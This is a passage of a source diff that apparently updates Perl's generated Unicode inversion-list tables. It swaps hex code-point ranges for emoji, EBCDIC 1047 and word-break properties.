+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
 	0x1F920,
-	0x1F928,
+	0x1F926,
+	0x1F927,
 	0x1F930,
-	0x1F931,
-	0x1F933,
+	0x1F93A,
+	0x1F93D,
 	0x1F93F,
-	0x1F940,
-	0x1F94C,
-	0x1F950,
-	0x1F95F,
-	0x1F980,
-	0x1F992,
-	0x1F9C0,
-	0x1F9C1,
-	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
-	0x2F800,
-	0x2FA1E,
+	0x1F9D1,
+	0x1F9DE,
 	0xE0001,
 	0xE0002,
 	0xE0020,
 	0xE0080,
 	0xE0100,
-	0xE01F0,
-	0xF0000,
-	0xFFFFE,
-	0x100000,
-	0x10FFFE
+	0xE01F0
 };
 
-static const UV XPosixLower_invlist[] = { /* for EBCDIC 037 */
-	1289,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */
+	1523,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
 	0x42,
 	0x4A,
+	0x4B,
+	0x4C,
 	0x51,
 	0x5A,
+	0x5E,
+	0x5F,
+	0x62,
+	0x6A,
+	0x6B,
+	0x6C,
+	0x6D,
+	0x6E,
 	0x70,
-	0x71,
-	0x81,
+	0x79,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
 	0x8A,
 	0x8C,
 	0x8F,
 	0x91,
 	0x9D,
+	0x9E,
+	0x9F,
 	0xA0,
 	0xA1,
 	0xA2,
 	0xAA,
-	0xCB,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xBA,
+	0xBB,
+	0xC1,
 	0xD0,
+	0xD1,
+	0xDA,
 	0xDB,
 	0xE0,
-	0x101,
-	0x102,
-	0x103,
-	0x104,
-	0x105,
-	0x106,
-	0x107,
-	0x108,
-	0x109,
-	0x10A,
-	0x10B,
-	0x10C,
-	0x10D,
-	0x10E,
-	0x10F,
-	0x110,
-	0x111,
-	0x112,
-	0x113,
-	0x114,
-	0x115,
-	0x116,
-	0x117,
-	0x118,
-	0x119,
-	0x11A,
-	0x11B,
-	0x11C,
-	0x11D,
-	0x11E,
-	0x11F,
-	0x120,
-	0x121,
-	0x122,
-	0x123,
-	0x124,
-	0x125,
-	0x126,
-	0x127,
-	0x128,
-	0x129,
-	0x12A,
-	0x12B,
-	0x12C,
-	0x12D,
-	0x12E,
-	0x12F,
-	0x130,
-	0x131,
-	0x132,
-	0x133,
-	0x134,
-	0x135,
-	0x136,
-	0x137,
-	0x139,
-	0x13A,
-	0x13B,
-	0x13C,
-	0x13D,
-	0x13E,
-	0x13F,
-	0x140,
-	0x141,
-	0x142,
-	0x143,
-	0x144,
-	0x145,
-	0x146,
-	0x147,
-	0x148,
-	0x14A,
-	0x14B,
-	0x14C,
-	0x14D,
-	0x14E,
-	0x14F,
-	0x150,
-	0x151,
-	0x152,
-	0x153,
-	0x154,
-	0x155,
-	0x156,
-	0x157,
-	0x158,
-	0x159,
-	0x15A,
-	0x15B,
-	0x15C,
-	0x15D,
-	0x15E,
-	0x15F,
-	0x160,
-	0x161,
-	0x162,
-	0x163,
-	0x164,
-	0x165,
-	0x166,
-	0x167,
-	0x168,
-	0x169,
-	0x16A,
-	0x16B,
-	0x16C,
-	0x16D,
-	0x16E,
-	0x16F,
-	0x170,
-	0x171,
-	0x172,
-	0x173,
-	0x174,
-	0x175,
-	0x176,
-	0x177,
-	0x178,
-	0x17A,
-	0x17B,
-	0x17C,
-	0x17D,
-	0x17E,
-	0x181,
-	0x183,
-	0x184,
-	0x185,
-	0x186,
-	0x188,
-	0x189,
-	0x18C,
-	0x18E,
-	0x192,
-	0x193,
-	0x195,
-	0x196,
-	0x199,
-	0x19C,
-	0x19E,
-	0x19F,
-	0x1A1,
-	0x1A2,
-	0x1A3,
-	0x1A4,
-	0x1A5,
-	0x1A6,
-	0x1A8,
-	0x1A9,
-	0x1AA,
-	0x1AC,
-	0x1AD,
-	0x1AE,
-	0x1B0,
-	0x1B1,
-	0x1B4,
-	0x1B5,
-	0x1B6,
-	0x1B7,
-	0x1B9,
-	0x1BB,
-	0x1BD,
-	0x1C0,
-	0x1C6,
-	0x1C7,
-	0x1C9,
-	0x1CA,
-	0x1CC,
-	0x1CD,
-	0x1CE,
-	0x1CF,
-	0x1D0,
-	0x1D1,
-	0x1D2,
-	0x1D3,
-	0x1D4,
-	0x1D5,
-	0x1D6,
-	0x1D7,
-	0x1D8,
-	0x1D9,
-	0x1DA,
-	0x1DB,
-	0x1DC,
-	0x1DE,
-	0x1DF,
-	0x1E0,
-	0x1E1,
-	0x1E2,
-	0x1E3,
-	0x1E4,
-	0x1E5,
-	0x1E6,
-	0x1E7,
-	0x1E8,
-	0x1E9,
-	0x1EA,
-	0x1EB,
-	0x1EC,
-	0x1ED,
-	0x1EE,
-	0x1EF,
-	0x1F1,
-	0x1F3,
-	0x1F4,
-	0x1F5,
-	0x1F6,
-	0x1F9,
-	0x1FA,
-	0x1FB,
-	0x1FC,
-	0x1FD,
-	0x1FE,
-	0x1FF,
-	0x200,
-	0x201,
-	0x202,
-	0x203,
-	0x204,
-	0x205,
-	0x206,
-	0x207,
-	0x208,
-	0x209,
-	0x20A,
-	0x20B,
-	0x20C,
-	0x20D,
-	0x20E,
-	0x20F,
-	0x210,
-	0x211,
-	0x212,
-	0x213,
-	0x214,
-	0x215,
-	0x216,
-	0x217,
-	0x218,
-	0x219,
-	0x21A,
-	0x21B,
-	0x21C,
-	0x21D,
-	0x21E,
-	0x21F,
-	0x220,
-	0x221,
-	0x222,
-	0x223,
-	0x224,
-	0x225,
-	0x226,
-	0x227,
-	0x228,
-	0x229,
-	0x22A,
-	0x22B,
-	0x22C,
-	0x22D,
-	0x22E,
-	0x22F,
-	0x230,
-	0x231,
-	0x232,
-	0x233,
-	0x23A,
-	0x23C,
-	0x23D,
-	0x23F,
-	0x241,
-	0x242,
-	0x243,
-	0x247,
-	0x248,
-	0x249,
-	0x24A,
-	0x24B,
-	0x24C,
-	0x24D,
-	0x24E,
-	0x24F,
-	0x294,
-	0x295,
-	0x2B9,
-	0x2C0,
-	0x2C2,
-	0x2E0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2D8,
+	0x2DE,
 	0x2E5,
-	0x345,
-	0x346,
-	0x371,
-	0x372,
-	0x373,
-	0x374,
-	0x377,
+	0x2EC,
+	0x375,
+	0x376,
 	0x378,
 	0x37A,
-	0x37E,
-	0x390,
-	0x391,
-	0x3AC,
-	0x3CF,
-	0x3D0,
-	0x3D2,
-	0x3D5,
-	0x3D8,
-	0x3D9,
-	0x3DA,
-	0x3DB,
-	0x3DC,
-	0x3DD,
-	0x3DE,
-	0x3DF,
-	0x3E0,
-	0x3E1,
-	0x3E2,
-	0x3E3,
-	0x3E4,
-	0x3E5,
-	0x3E6,
-	0x3E7,
-	0x3E8,
-	0x3E9,
-	0x3EA,
-	0x3EB,
-	0x3EC,
-	0x3ED,
-	0x3EE,
-	0x3EF,
-	0x3F4,
-	0x3F5,
+	0x380,
+	0x386,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
 	0x3F6,
-	0x3F8,
-	0x3F9,
-	0x3FB,
-	0x3FD,
-	0x430,
-	0x460,
-	0x461,
-	0x462,
-	0x463,
-	0x464,
-	0x465,
-	0x466,
-	0x467,
-	0x468,
-	0x469,
-	0x46A,
-	0x46B,
-	0x46C,
-	0x46D,
-	0x46E,
-	0x46F,
-	0x470,
-	0x471,
-	0x472,
-	0x473,
-	0x474,
-	0x475,
-	0x476,
-	0x477,
-	0x478,
-	0x479,
-	0x47A,
-	0x47B,
-	0x47C,
-	0x47D,
-	0x47E,
-	0x47F,
-	0x480,
-	0x481,
+	0x3F7,
 	0x482,
-	0x48B,
-	0x48C,
-	0x48D,
-	0x48E,
-	0x48F,
-	0x490,
-	0x491,
-	0x492,
-	0x493,
-	0x494,
-	0x495,
-	0x496,
-	0x497,
-	0x498,
-	0x499,
-	0x49A,
-	0x49B,
-	0x49C,
-	0x49D,
-	0x49E,
-	0x49F,
-	0x4A0,
-	0x4A1,
-	0x4A2,
-	0x4A3,
-	0x4A4,
-	0x4A5,
-	0x4A6,
-	0x4A7,
-	0x4A8,
-	0x4A9,
-	0x4AA,
-	0x4AB,
-	0x4AC,
-	0x4AD,
-	0x4AE,
-	0x4AF,
-	0x4B0,
-	0x4B1,
-	0x4B2,
-	0x4B3,
-	0x4B4,
-	0x4B5,
-	0x4B6,
-	0x4B7,
-	0x4B8,
-	0x4B9,
-	0x4BA,
-	0x4BB,
-	0x4BC,
-	0x4BD,
-	0x4BE,
-	0x4BF,
-	0x4C0,
-	0x4C2,
-	0x4C3,
-	0x4C4,
-	0x4C5,
-	0x4C6,
-	0x4C7,
-	0x4C8,
-	0x4C9,
-	0x4CA,
-	0x4CB,
-	0x4CC,
-	0x4CD,
-	0x4CE,
-	0x4D0,
-	0x4D1,
-	0x4D2,
-	0x4D3,
-	0x4D4,
-	0x4D5,
-	0x4D6,
-	0x4D7,
-	0x4D8,
-	0x4D9,
-	0x4DA,
-	0x4DB,
-	0x4DC,
-	0x4DD,
-	0x4DE,
-	0x4DF,
-	0x4E0,
-	0x4E1,
-	0x4E2,
-	0x4E3,
-	0x4E4,
-	0x4E5,
-	0x4E6,
-	0x4E7,
-	0x4E8,
-	0x4E9,
-	0x4EA,
-	0x4EB,
-	0x4EC,
-	0x4ED,
-	0x4EE,
-	0x4EF,
-	0x4F0,
-	0x4F1,
-	0x4F2,
-	0x4F3,
-	0x4F4,
-	0x4F5,
-	0x4F6,
-	0x4F7,
-	0x4F8,
-	0x4F9,
-	0x4FA,
-	0x4FB,
-	0x4FC,
-	0x4FD,
-	0x4FE,
-	0x4FF,
-	0x500,
-	0x501,
-	0x502,
-	0x503,
-	0x504,
-	0x505,
-	0x506,
-	0x507,
-	0x508,
-	0x509,
-	0x50A,
-	0x50B,
-	0x50C,
-	0x50D,
-	0x50E,
-	0x50F,
-	0x510,
-	0x511,
-	0x512,
-	0x513,
-	0x514,
-	0x515,
-	0x516,
-	0x517,
-	0x518,
-	0x519,
-	0x51A,
-	0x51B,
-	0x51C,
-	0x51D,
-	0x51E,
-	0x51F,
-	0x520,
-	0x521,
-	0x522,
-	0x523,
-	0x524,
-	0x525,
-	0x526,
-	0x527,
-	0x528,
-	0x529,
-	0x52A,
-	0x52B,
-	0x52C,
-	0x52D,
-	0x52E,
-	0x52F,
+	0x483,
 	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
 	0x561,
 	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x620,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
 	0x13F8,
 	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
 	0x1C80,
 	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1E01,
-	0x1E02,
-	0x1E03,
-	0x1E04,
-	0x1E05,
-	0x1E06,
-	0x1E07,
-	0x1E08,
-	0x1E09,
-	0x1E0A,
-	0x1E0B,
-	0x1E0C,
-	0x1E0D,
-	0x1E0E,
-	0x1E0F,
-	0x1E10,
-	0x1E11,
-	0x1E12,
-	0x1E13,
-	0x1E14,
-	0x1E15,
-	0x1E16,
-	0x1E17,
-	0x1E18,
-	0x1E19,
-	0x1E1A,
-	0x1E1B,
-	0x1E1C,
-	0x1E1D,
-	0x1E1E,
-	0x1E1F,
-	0x1E20,
-	0x1E21,
-	0x1E22,
-	0x1E23,
-	0x1E24,
-	0x1E25,
-	0x1E26,
-	0x1E27,
-	0x1E28,
-	0x1E29,
-	0x1E2A,
-	0x1E2B,
-	0x1E2C,
-	0x1E2D,
-	0x1E2E,
-	0x1E2F,
-	0x1E30,
-	0x1E31,
-	0x1E32,
-	0x1E33,
-	0x1E34,
-	0x1E35,
-	0x1E36,
-	0x1E37,
-	0x1E38,
-	0x1E39,
-	0x1E3A,
-	0x1E3B,
-	0x1E3C,
-	0x1E3D,
-	0x1E3E,
-	0x1E3F,
-	0x1E40,
-	0x1E41,
-	0x1E42,
-	0x1E43,
-	0x1E44,
-	0x1E45,
-	0x1E46,
-	0x1E47,
-	0x1E48,
-	0x1E49,
-	0x1E4A,
-	0x1E4B,
-	0x1E4C,
-	0x1E4D,
-	0x1E4E,
-	0x1E4F,
-	0x1E50,
-	0x1E51,
-	0x1E52,
-	0x1E53,
-	0x1E54,
-	0x1E55,
-	0x1E56,
-	0x1E57,
-	0x1E58,
-	0x1E59,
-	0x1E5A,
-	0x1E5B,
-	0x1E5C,
-	0x1E5D,
-	0x1E5E,
-	0x1E5F,
-	0x1E60,
-	0x1E61,
-	0x1E62,
-	0x1E63,
-	0x1E64,
-	0x1E65,
-	0x1E66,
-	0x1E67,
-	0x1E68,
-	0x1E69,
-	0x1E6A,
-	0x1E6B,
-	0x1E6C,
-	0x1E6D,
-	0x1E6E,
-	0x1E6F,
-	0x1E70,
-	0x1E71,
-	0x1E72,
-	0x1E73,
-	0x1E74,
-	0x1E75,
-	0x1E76,
-	0x1E77,
-	0x1E78,
-	0x1E79,
-	0x1E7A,
-	0x1E7B,
-	0x1E7C,
-	0x1E7D,
-	0x1E7E,
-	0x1E7F,
-	0x1E80,
-	0x1E81,
-	0x1E82,
-	0x1E83,
-	0x1E84,
-	0x1E85,
-	0x1E86,
-	0x1E87,
-	0x1E88,
-	0x1E89,
-	0x1E8A,
-	0x1E8B,
-	0x1E8C,
-	0x1E8D,
-	0x1E8E,
-	0x1E8F,
-	0x1E90,
-	0x1E91,
-	0x1E92,
-	0x1E93,
-	0x1E94,
-	0x1E95,
-	0x1E9E,
-	0x1E9F,
-	0x1EA0,
-	0x1EA1,
-	0x1EA2,
-	0x1EA3,
-	0x1EA4,
-	0x1EA5,
-	0x1EA6,
-	0x1EA7,
-	0x1EA8,
-	0x1EA9,
-	0x1EAA,
-	0x1EAB,
-	0x1EAC,
-	0x1EAD,
-	0x1EAE,
-	0x1EAF,
-	0x1EB0,
-	0x1EB1,
-	0x1EB2,
-	0x1EB3,
-	0x1EB4,
-	0x1EB5,
-	0x1EB6,
-	0x1EB7,
-	0x1EB8,
-	0x1EB9,
-	0x1EBA,
-	0x1EBB,
-	0x1EBC,
-	0x1EBD,
-	0x1EBE,
-	0x1EBF,
-	0x1EC0,
-	0x1EC1,
-	0x1EC2,
-	0x1EC3,
-	0x1EC4,
-	0x1EC5,
-	0x1EC6,
-	0x1EC7,
-	0x1EC8,
-	0x1EC9,
-	0x1ECA,
-	0x1ECB,
-	0x1ECC,
-	0x1ECD,
-	0x1ECE,
-	0x1ECF,
-	0x1ED0,
-	0x1ED1,
-	0x1ED2,
-	0x1ED3,
-	0x1ED4,
-	0x1ED5,
-	0x1ED6,
-	0x1ED7,
-	0x1ED8,
-	0x1ED9,
-	0x1EDA,
-	0x1EDB,
-	0x1EDC,
-	0x1EDD,
-	0x1EDE,
-	0x1EDF,
-	0x1EE0,
-	0x1EE1,
-	0x1EE2,
-	0x1EE3,
-	0x1EE4,
-	0x1EE5,
-	0x1EE6,
-	0x1EE7,
-	0x1EE8,
-	0x1EE9,
-	0x1EEA,
-	0x1EEB,
-	0x1EEC,
-	0x1EED,
-	0x1EEE,
-	0x1EEF,
-	0x1EF0,
-	0x1EF1,
-	0x1EF2,
-	0x1EF3,
-	0x1EF4,
-	0x1EF5,
-	0x1EF6,
-	0x1EF7,
-	0x1EF8,
-	0x1EF9,
-	0x1EFA,
-	0x1EFB,
-	0x1EFC,
-	0x1EFD,
-	0x1EFE,
-	0x1EFF,
-	0x1F08,
-	0x1F10,
+	0x1DFA,
+	0x1DFB,
 	0x1F16,
+	0x1F18,
+	0x1F1E,
 	0x1F20,
-	0x1F28,
-	0x1F30,
-	0x1F38,
-	0x1F40,
 	0x1F46,
+	0x1F48,
+	0x1F4E,
 	0x1F50,
 	0x1F58,
-	0x1F60,
-	0x1F68,
-	0x1F70,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
 	0x1F7E,
 	0x1F80,
-	0x1F88,
-	0x1F90,
-	0x1F98,
-	0x1FA0,
-	0x1FA8,
-	0x1FB0,
 	0x1FB5,
 	0x1FB6,
-	0x1FB8,
+	0x1FBD,
 	0x1FBE,
 	0x1FBF,
 	0x1FC2,
 	0x1FC5,
 	0x1FC6,
-	0x1FC8,
+	0x1FCD,
 	0x1FD0,
 	0x1FD4,
 	0x1FD6,
-	0x1FD8,
+	0x1FDC,
 	0x1FE0,
-	0x1FE8,
+	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FF8,
+	0x1FFD,
+	0x200C,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2054,
+	0x2055,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
 	0x2071,
 	0x2072,
 	0x207F,
@@ -90441,153 +359416,61 @@
 	0x2080,
 	0x2090,
 	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
 	0x210A,
-	0x210B,
-	0x210E,
-	0x2110,
-	0x2113,
 	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
 	0x212F,
-	0x2130,
-	0x2134,
-	0x2135,
-	0x2139,
 	0x213A,
 	0x213C,
-	0x213E,
-	0x2146,
+	0x2140,
+	0x2145,
 	0x214A,
 	0x214E,
 	0x214F,
-	0x2170,
-	0x2180,
-	0x2184,
-	0x2185,
-	0x24D0,
+	0x2160,
+	0x2189,
+	0x24B6,
 	0x24EA,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2C00,
+	0x2C2F,
 	0x2C30,
 	0x2C5F,
-	0x2C61,
-	0x2C62,
-	0x2C65,
-	0x2C67,
-	0x2C68,
-	0x2C69,
-	0x2C6A,
-	0x2C6B,
-	0x2C6C,
-	0x2C6D,
-	0x2C71,
-	0x2C72,
-	0x2C73,
-	0x2C75,
-	0x2C76,
-	0x2C7E,
-	0x2C81,
-	0x2C82,
-	0x2C83,
-	0x2C84,
-	0x2C85,
-	0x2C86,
-	0x2C87,
-	0x2C88,
-	0x2C89,
-	0x2C8A,
-	0x2C8B,
-	0x2C8C,
-	0x2C8D,
-	0x2C8E,
-	0x2C8F,
-	0x2C90,
-	0x2C91,
-	0x2C92,
-	0x2C93,
-	0x2C94,
-	0x2C95,
-	0x2C96,
-	0x2C97,
-	0x2C98,
-	0x2C99,
-	0x2C9A,
-	0x2C9B,
-	0x2C9C,
-	0x2C9D,
-	0x2C9E,
-	0x2C9F,
-	0x2CA0,
-	0x2CA1,
-	0x2CA2,
-	0x2CA3,
-	0x2CA4,
-	0x2CA5,
-	0x2CA6,
-	0x2CA7,
-	0x2CA8,
-	0x2CA9,
-	0x2CAA,
-	0x2CAB,
-	0x2CAC,
-	0x2CAD,
-	0x2CAE,
-	0x2CAF,
-	0x2CB0,
-	0x2CB1,
-	0x2CB2,
-	0x2CB3,
-	0x2CB4,
-	0x2CB5,
-	0x2CB6,
-	0x2CB7,
-	0x2CB8,
-	0x2CB9,
-	0x2CBA,
-	0x2CBB,
-	0x2CBC,
-	0x2CBD,
-	0x2CBE,
-	0x2CBF,
-	0x2CC0,
-	0x2CC1,
-	0x2CC2,
-	0x2CC3,
-	0x2CC4,
-	0x2CC5,
-	0x2CC6,
